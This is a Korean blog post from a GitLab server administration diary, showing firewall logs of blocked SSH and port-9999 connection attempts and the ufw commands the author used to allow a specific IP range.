 7월 28 10:31:46 ㅁㅁㅁ-git kernel: [UFW BLOCK] IN=enp0s31f6 OUT= MAC=ㅁ:ㅁ:ㅁ:ㅁ:ㅁ:ㅁ SRC=103.86.49.28 DST=192.168.0.2 LEN=60 TOS=0x00 PREC=0x00 TTL=51 ID=17691 DF PROTO=TCP SPT=46790 DPT=22 WINDOW=29200 RES=0x00 SYN URGP=0
 7월 28 10:31:50 ㅁㅁㅁ-git kernel: [UFW BLOCK] IN=enp0s31f6 OUT= MAC=ㅁ:ㅁ:ㅁ:ㅁ:ㅁ:ㅁ SRC=103.86.49.28 DST=192.168.0.2 LEN=60 TOS=0x00 PREC=0x00 TTL=51 ID=17692 DF PROTO=TCP SPT=46790 DPT=22 WINDOW=29200 RES=0x00 SYN URGP=0
 7월 28 10:32:06 ㅁㅁㅁ-git kernel: [UFW BLOCK] IN=enp0s31f6 OUT= MAC=ㅁ:ㅁ:ㅁ:ㅁ:ㅁ:ㅁ SRC=62.213.174.153 DST=192.168.0.2 LEN=60 TOS=0x08 PREC=0x00 TTL=36 ID=60889 DF PROTO=TCP SPT=34554 DPT=22 WINDOW=14600 RES=0x00 SYN URGP=0
 7월 28 10:32:07 ㅁㅁㅁ-git kernel: [UFW BLOCK] IN=enp0s31f6 OUT= MAC=ㅁ:ㅁ:ㅁ:ㅁ:ㅁ:ㅁ SRC=62.213.174.153 DST=192.168.0.2 LEN=60 TOS=0x08 PREC=0x00 TTL=36 ID=60890 DF PROTO=TCP SPT=34554 DPT=22 WINDOW=14600 RES=0x00 SYN URGP=0
 7월 28 10:32:19 ㅁㅁㅁ-git kernel: [UFW BLOCK] IN=enp0s31f6 OUT= MAC=ㅁ:ㅁ:ㅁ:ㅁ:ㅁ:ㅁ SRC=31.186.48.216 DST=192.168.0.2 LEN=60 TOS=0x00 PREC=0x00 TTL=50 ID=29164 DF PROTO=TCP SPT=57384 DPT=22 WINDOW=64240 RES=0x00 SYN URGP=0
 7월 28 10:32:35 ㅁㅁㅁ-git kernel: [UFW BLOCK] IN=enp0s31f6 OUT= MAC=ㅁ:ㅁ:ㅁ:ㅁ:ㅁ:ㅁ SRC=220.130.227.61 DST=192.168.0.2 LEN=60 TOS=0x00 PREC=0x00 TTL=50 ID=46477 DF PROTO=TCP SPT=33751 DPT=22 WINDOW=14600 RES=0x00 SYN URGP=0
 7월 28 10:32:58 ㅁㅁㅁ-git kernel: [UFW BLOCK] IN=enp0s31f6 OUT= MAC=ㅁ:ㅁ:ㅁ:ㅁ:ㅁ:ㅁ SRC=109.90.115.129 DST=192.168.0.2 LEN=60 TOS=0x00 PREC=0x00 TTL=46 ID=55168 DF PROTO=TCP SPT=38240 DPT=22 WINDOW=64240 RES=0x00 SYN URGP=0
 7월 28 10:33:38 ㅁㅁㅁ-git kernel: [UFW BLOCK] IN=enp0s31f6 OUT= MAC=ㅁ:ㅁ:ㅁ:ㅁ:ㅁ:ㅁ SRC=220.130.227.61 DST=192.168.0.2 LEN=60 TOS=0x00 PREC=0x00 TTL=50 ID=46483 DF PROTO=TCP SPT=33751 DPT=22 WINDOW=14600 RES=0x00 SYN URGP=0
 7월 28 10:33:47 ㅁㅁㅁ-git kernel: [UFW BLOCK] IN=enp0s31f6 OUT= MAC=ㅁ:ㅁ:ㅁ:ㅁ:ㅁ:ㅁ SRC=5.2.72.244 DST=192.168.0.2 LEN=60 TOS=0x00 PREC=0x00 TTL=52 ID=3761 DF PROTO=TCP SPT=40512 DPT=9999 WINDOW=64240 RES=0x00 SYN URGP=0
 ****> port 는 9999 인데 조회해 보니 네덜란드 암스테르담이다.
 7월 28 10:33:57 ㅁㅁㅁ-git kernel: [UFW BLOCK] IN=enp0s31f6 OUT= MAC=ㅁ:ㅁ:ㅁ:ㅁ:ㅁ:ㅁ SRC=159.223.135.143 DST=192.168.0.2 LEN=60 TOS=0x00 PREC=0x00 TTL=51 ID=45394 DF PROTO=TCP SPT=32788 DPT=22 WINDOW=64240 RES=0x00 SYN URGP=0
 7월 28 10:34:18 ㅁㅁㅁ-git kernel: [UFW BLOCK] IN=enp0s31f6 OUT= MAC=ㅁ:ㅁ:ㅁ:ㅁ:ㅁ:ㅁ SRC=5.2.72.244 DST=192.168.0.2 LEN=60 TOS=0x00 PREC=0x00 TTL=52 ID=3766 DF PROTO=TCP SPT=40512 DPT=9999 WINDOW=64240 RES=0x00 SYN URGP=0
 7월 28 10:34:36 ㅁㅁㅁ-git kernel: [UFW BLOCK] IN=enp0s31f6 OUT= MAC=ㅁ:ㅁ:ㅁ:ㅁ:ㅁ:ㅁ SRC=64.225.72.213 DST=192.168.0.2 LEN=60 TOS=0x00 PREC=0x00 TTL=54 ID=35147 DF PROTO=TCP SPT=39450 DPT=22 WINDOW=64240 RES=0x00 SYN URGP=0
 7월 28 10:35:01 ㅁㅁㅁ-git CRON[5505]: pam_unix(cron:session): session opened for user ㅁㅁㅁ by (uid=0)
 7월 28 10:35:01 ㅁㅁㅁ-git CRON[5506]: (ㅁㅁㅁ) CMD (/home/ㅁㅁㅁ/duckdns/duck.sh)
 7월 28 10:35:02 ㅁㅁㅁ-git cron[800]: sendmail: fatal: open /etc/postfix/main.cf: No such file or directory
 7월 28 10:35:02 ㅁㅁㅁ-git postfix/sendmail[5512]: fatal: open /etc/postfix/main.cf: No such file or directory
 7월 28 10:35:02 ㅁㅁㅁ-git CRON[5505]: (ㅁㅁㅁ) MAIL (mailed 287 bytes of output but got status 0x004b from MTA
                                        )
 7월 28 10:35:02 ㅁㅁㅁ-git CRON[5505]: pam_unix(cron:session): session closed for user ㅁㅁㅁ
 7월 28 10:35:07 ㅁㅁㅁ-git kernel: [UFW BLOCK] IN=enp0s31f6 OUT= MAC=ㅁ:ㅁ:ㅁ:ㅁ:ㅁ:ㅁ SRC=195.178.120.188 DST=192.168.0.2 LEN=40 TOS=0x00 PREC=0x00 TTL=239 ID=54321 PROTO=TCP SPT=45378 DPT=22 WINDOW=65535 RES=0x00 SYN URGP=0
 7월 28 10:35:24 ㅁㅁㅁ-git kernel: [UFW BLOCK] IN=enp0s31f6 OUT= MAC=ㅁ:ㅁ:ㅁ:ㅁ:ㅁ:ㅁ SRC=113.200.60.74 DST=192.168.0.2 LEN=60 TOS=0x00 PREC=0x00 TTL=44 ID=27175 DF PROTO=TCP SPT=36487 DPT=22 WINDOW=29200 RES=0x00 SYN URGP=0

 

정리하면, 외부로부터의 침입을 논리적으로 막을 방법은 없었으며, 불가피하게 방화벽을 사용하고 꼭 필요한 IP로만 접속하도록 하였습니다.

 

방화벽이 특정 IP에 접속을 허가하려면 다음과 같이 합니다.

 

sudo journalctl -xe		****> 블럭된 IP를 확인
 7월 28 12:26:57 ㅁㅁㅁㅁㅁ-git kernel: [UFW BLOCK] IN=enp0s31f6 OUT= MAC=ㅁ:ㅁ:ㅁ:ㅁ:ㅁ:ㅁ SRC=1.210.202.90 DST=192.168.0.2 LEN=52 TOS=0x00 PREC=0x00 TTL=115 ID=22964 DF PROTO=TCP SPT=49431 DPT=9999 WINDOW=64240 RES=0x00 SYN URGP=0
 7월 28 12:26:57 ㅁㅁㅁㅁㅁ-git kernel: [UFW BLOCK] IN=enp0s31f6 OUT= MAC=ㅁ:ㅁ:ㅁ:ㅁ:ㅁ:ㅁ SRC=1.210.202.90 DST=192.168.0.2 LEN=52 TOS=0x00 PREC=0x00 TTL=115 ID=22963 DF PROTO=TCP SPT=49432 DPT=9999 WINDOW=64240 RES=0x00 SYN URGP=0
 7월 28 12:26:57 ㅁㅁㅁㅁㅁ-git kernel: [UFW BLOCK] IN=enp0s31f6 OUT= MAC=ㅁ:ㅁ:ㅁ:ㅁ:ㅁ:ㅁ SRC=1.210.202.90 DST=192.168.0.2 LEN=52 TOS=0x00 PREC=0x00 TTL=115 ID=22965 DF PROTO=TCP SPT=49433 DPT=9999 WINDOW=64240 RES=0x00 SYN URGP=0
 7월 28 12:27:09 ㅁㅁㅁㅁㅁ-git kernel: [UFW BLOCK] IN=enp0s31f6 OUT= MAC=ㅁ:ㅁ:ㅁ:ㅁ:ㅁ:ㅁ SRC=1.210.202.90 DST=192.168.0.2 LEN=52 TOS=0x00 PREC=0x00 TTL=115 ID=22970 DF PROTO=TCP SPT=49431 DPT=9999 WINDOW=64240 RES=0x00 SYN URGP=0
sudo ufw allow from 1.210.202.90/16		****> 약간 범위를 넓게 (16ibt)로 하여 방화벽을 풀어줌
sudo ufw enable		****> 규칙 업데이트

 

포스팅은 여기까지입니다.

 

언제나 감사드립니다.

 

반응형

'개발이야기 > Gitlab' 카테고리의 다른 글

gitlab 서버 관리 일지 - 4  (0) 2022.07.13
gitlab 서버 관리 일지 - 3  (0) 2022.05.30
gitlab 서버 관리 일지 - 2  (0) 2022.05.30
gitlab 서버 관리 일지 - 1  (0) 2022.05.30

관련글 더보기

댓글 영역